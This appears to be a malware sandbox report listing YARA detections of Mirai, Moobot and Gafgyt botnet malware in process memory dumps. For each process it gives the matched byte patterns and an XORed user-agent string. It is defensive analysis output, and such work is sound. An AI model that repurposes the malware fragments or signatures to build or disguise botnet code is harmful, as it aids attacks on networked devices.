2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7224.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6462.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6462.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6462.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6462.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6462.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6462.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6890.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6890.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6890.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6890.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6890.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6890.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7025.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7025.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7025.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7025.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7025.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7025.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6403.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6403.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6403.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6403.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6403.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6403.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6437.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6437.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6437.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6437.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6437.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6437.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7006.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7006.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7006.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7006.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7006.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7006.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7282.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
